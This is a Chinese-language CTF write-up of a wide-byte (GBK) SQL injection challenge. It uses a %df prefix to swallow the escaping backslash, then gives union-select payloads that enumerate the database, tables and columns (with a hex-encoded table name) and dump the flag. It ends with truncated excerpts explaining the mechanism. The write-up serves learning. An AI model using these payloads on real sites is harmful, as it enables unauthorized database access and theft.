(1)判斷是否有注入
加'執行發現轉義符\,所以要繞過
(2)繞過轉義符\
%df %af %aa(各瀏覽器執行結果不一致)
(3)使其成功閉合
構造 ?id=1%df' -- +
(4)判斷字段數
構造 ?id=1%df' order by 2
由此可得,表news的列數為2
(5)判斷回顯點
構造 ?id=-1%df' union select 1,2-- +
由此可得,回顯點的位置為2
(6)爆庫
構造 ?id=-1%df' union select 1,database() -- +
(7)爆表
構造 ?id=-1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() -- +
(8)爆列
構造 ?id=-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name='gbksqli' -- +
因為單引號被過濾了,此時需要繞過(十六進製制繞過)
將表gbksqli進行十六進製制編碼,編碼後為0x67626b73716c69
構造 ?id=-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x67626b73716c69 -- +
(9)爆值
構造 ?id=-1%df' union select 1,group_concat(flag) from gbksqli -- +
flag:nctf
寬位元組注入
大家都知道 df 被php轉義 開啟gpc 用addslashes函式,或者icov等 單引號被加上反斜槓 變成了 df 其中 的十六進製制是 5c 那麼現在 df df 5c 27,如果程式的預設字符集是gbk等寬位元組字符集,則mysql用gbk的編碼時,會認為 df 5c 是乙個寬字元,也就是...
寬位元組注入
在使用php連線mysql的時候,當設定 set character set client gbk 時會導致乙個編碼轉換的問題,也就是我們熟悉的寬位元組注入,當存在寬位元組注入的時候,注入引數裡帶入 df 27,即可把 5c 吃掉,舉個例子。當提交 1 1 23 時,mysql的執行的sql語句為 ...
寬位元組注入
這個md的 是我之前做南郵的一道sql注入題目,我實在是調動目前所學的sql注入知識沒做出來,一直搞不懂將 轉義為 因此去網上看了一下wp,是考寬位元組注入,於是在網上找了教程學習一下,這個文章只是為了記錄一下自己的學習過程,不喜勿噴,有錯希望指正 寬位元組注入指的是mysql資料庫在使用寬位元組 ...